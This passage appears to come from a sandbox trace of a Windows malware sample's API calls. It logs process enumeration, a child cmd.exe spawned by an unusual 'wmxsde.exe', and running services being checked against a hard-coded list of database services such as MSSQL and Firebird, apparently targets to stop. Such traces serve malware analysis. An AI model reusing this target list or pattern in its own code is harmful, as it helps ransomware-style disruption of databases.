(lpString="svchost.exe") returned 11 [0189.070] Process32NextW (in: hSnapshot=0x444, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0189.071] lstrlenW (lpString="svchost.exe") returned 11 [0189.071] Process32NextW (in: hSnapshot=0x444, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0189.072] lstrlenW (lpString="svchost.exe") returned 11 [0189.073] Process32NextW (in: hSnapshot=0x444, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x584, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0189.074] lstrlenW (lpString="svchost.exe") returned 11 [0189.074] Process32NextW (in: hSnapshot=0x444, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0189.075] lstrlenW (lpString="svchost.exe") returned 11 [0189.075] Process32NextW (in: hSnapshot=0x444, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x608, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0189.077] lstrlenW (lpString="spoolsv.exe") returned 11 [0189.077] Process32NextW (in: hSnapshot=0x444, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x67c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0189.078] lstrlenW (lpString="svchost.exe") returned 11 [0189.078] Process32NextW (in: hSnapshot=0x444, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0189.079] lstrlenW (lpString="audiodg.exe") returned 11 [0189.080] Process32NextW (in: hSnapshot=0x444, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3bc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0189.081] lstrlenW (lpString="taskhostw.exe") returned 13 [0189.081] Process32NextW (in: hSnapshot=0x444, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x710, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0189.082] lstrlenW (lpString="sihost.exe") returned 10 [0189.082] Process32NextW (in: hSnapshot=0x444, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0189.083] lstrlenW (lpString="svchost.exe") returned 11 [0189.084] Process32NextW (in: hSnapshot=0x444, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0189.085] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0189.085] Process32NextW (in: hSnapshot=0x444, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0189.089] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0189.089] Process32NextW (in: hSnapshot=0x444, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0189.090] lstrlenW (lpString="Memory Compression") returned 18 [0189.090] Process32NextW (in: hSnapshot=0x444, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0189.091] lstrlenW (lpString="taskhostw.exe") returned 13 [0189.091] Process32NextW (in: hSnapshot=0x444, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3bc, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0189.093] lstrlenW (lpString="msoia.exe") returned 9 [0189.093] Process32NextW (in: hSnapshot=0x444, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x36, th32ParentProcessID=0xa20, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0189.094] lstrlenW (lpString="explorer.exe") returned 12 [0189.094] Process32NextW (in: hSnapshot=0x444, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0189.096] lstrlenW (lpString="SearchUI.exe") returned 12 [0189.096] Process32NextW (in: hSnapshot=0x444, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xba8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0189.097] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0189.097] Process32NextW (in: hSnapshot=0x444, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0189.098] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0189.098] Process32NextW (in: hSnapshot=0x444, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0189.099] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0189.099] Process32NextW (in: hSnapshot=0x444, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0xa38, pcPriClassBase=8, dwFlags=0x0, szExeFile="wmxsde.exe")) returned 1 [0189.200] lstrlenW (lpString="wmxsde.exe") returned 10 [0189.200] Process32NextW (in: hSnapshot=0x444, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdd8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0189.201] lstrlenW (lpString="cmd.exe") returned 7 [0189.201] Process32NextW (in: hSnapshot=0x444, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xdf0, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0189.203] lstrlenW (lpString="conhost.exe") returned 11 [0189.203] Process32NextW (in: hSnapshot=0x444, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xea8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x3bc, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0189.204] lstrlenW (lpString="consent.exe") returned 11 [0189.204] Process32NextW (in: hSnapshot=0x444, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0189.205] lstrlenW (lpString="dllhost.exe") returned 11 [0189.205] Process32NextW (in: hSnapshot=0x444, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0189.207] CloseHandle (hObject=0x444) returned 1 [0189.207] Sleep (dwMilliseconds=0x1f4) [0189.841] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x459f538 [0189.842] EnumServicesStatusExW (in: hSCManager=0x459f538, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x25eff3c, lpServicesReturned=0x25eff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x25eff3c, lpServicesReturned=0x25eff54, lpResumeHandle=0x0) returned 0 [0189.842] GetLastError () returned 0xea [0189.842] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x1bc4) returned 0x4661fb8 [0189.844] EnumServicesStatusExW (in: hSCManager=0x459f538, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4661fb8, cbBufSize=0x1bc4, pcbBytesNeeded=0x25eff3c, lpServicesReturned=0x25eff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4661fb8, pcbBytesNeeded=0x25eff3c, lpServicesReturned=0x25eff54, lpResumeHandle=0x0) returned 1 [0189.845] CloseServiceHandle (hSCObject=0x459f538) returned 1 [0189.845] lstrlenW (lpString="Appinfo") returned 7 [0189.845] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0189.845] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0189.846] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0189.846] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0189.846] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0189.846] lstrlenW (lpString="AppXSvc") returned 7 [0189.846] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0189.846] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0189.846] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0189.846] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0189.846] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0189.846] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0189.846] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0189.846] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0189.846] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0189.846] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0189.846] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0189.847] lstrlenW (lpString="Audiosrv") returned 8 [0189.847] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0189.847] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0189.847] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0189.847] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0189.847] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0189.847] lstrlenW (lpString="BFE") returned 3 [0189.847] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0189.847] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0189.847] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0189.847] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0189.847] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0189.847] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0189.847] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0189.847] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0189.847] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0189.847] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0189.847] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0189.847] lstrlenW (lpString="CDPSvc") returned 6 [0189.847] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0189.847] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0189.847] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0189.847] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0189.847] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0189.847] lstrlenW (lpString="ClickToRunSvc") returned 13 [0189.847] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0189.847] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0189.847] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0189.848] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0189.848] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0189.848] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0189.848] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0189.848] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0189.848] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0189.848] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0189.848] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0189.848] lstrlenW (lpString="CryptSvc") returned 8 [0189.848] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0189.848] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0189.848] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0189.848] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0189.848] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0189.848] lstrlenW (lpString="DcomLaunch") returned 10 [0189.848] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0189.848] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0189.849] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0189.849] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0189.849] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0189.849] lstrlenW (lpString="DeviceAssociationService") returned 24 [0189.849] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0189.849] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0189.849] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0189.849] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0189.849] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0189.849] lstrlenW (lpString="Dhcp") returned 4 [0189.849] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0189.849] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0189.849] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0189.849] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0189.849] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0189.849] lstrlenW (lpString="Dnscache") returned 8 [0189.849] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0189.849] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0189.849] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0189.849] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0189.849] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0189.849] lstrlenW (lpString="DPS") returned 3 [0189.849] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0189.849] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0189.849] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0189.849] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0189.849] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0189.850] lstrlenW (lpString="DusmSvc") returned 7 [0189.850] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0189.850] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0189.850] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0189.850] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0189.850] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0189.850] lstrlenW (lpString="EventLog") returned 8 [0189.850] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0189.850] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0189.850] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0189.850] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0189.850] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0189.850] lstrlenW (lpString="EventSystem") returned 11 [0189.850] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0189.850] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0189.850] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0189.850] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0189.850] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0189.850] lstrlenW (lpString="FontCache") returned 9 [0189.850] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0189.850] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0189.850] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0189.850] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0189.850] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0189.850] lstrlenW (lpString="gpsvc") returned 5 [0189.850] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0189.850] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0189.850] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0189.850] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0189.851] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0189.851] lstrlenW (lpString="iphlpsvc") returned 8 [0189.851] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0189.851] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0189.851] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0189.851] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0189.851] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0189.851] lstrlenW (lpString="KeyIso") returned 6 [0189.851] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0189.851] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0189.851] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0189.851] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0189.851] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0189.851] lstrlenW (lpString="LanmanServer") returned 12 [0189.851] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0189.851] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0189.851] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0189.851] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0189.851] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0189.851] lstrlenW (lpString="LanmanWorkstation") returned 17 [0189.852] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0189.852] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0189.852] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0189.852] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0189.852] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0189.852] lstrlenW (lpString="lfsvc") returned 5 [0189.852] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0189.852] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0189.852] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0189.852] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0189.852] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0189.852] lstrlenW (lpString="lmhosts") returned 7 [0189.852] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0189.852] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0189.852] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0189.852] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0189.852] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0189.949] lstrlenW (lpString="LSM") returned 3 [0189.949] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0189.949] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0189.949] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0189.949] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0189.949] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0189.949] lstrlenW (lpString="MpsSvc") returned 6 [0189.949] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0189.949] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0189.949] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0189.949] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0189.949] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0189.949] lstrlenW (lpString="NcbService") returned 10 [0189.949] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0189.949] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0189.949] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0189.949] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0189.949] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0189.949] lstrlenW (lpString="netprofm") returned 8 [0189.949] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0189.949] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0189.950] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0189.950] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0189.950] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0189.950] lstrlenW (lpString="NgcSvc") returned 6 [0189.950] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0189.950] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0189.950] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0189.950] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0189.950] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0189.950] lstrlenW (lpString="NlaSvc") returned 6 [0189.950] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0189.950] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0189.950] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0189.950] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0189.950] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0189.950] lstrlenW (lpString="nsi") returned 3 [0189.950] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0189.950] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0189.950] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0189.950] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0189.950] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 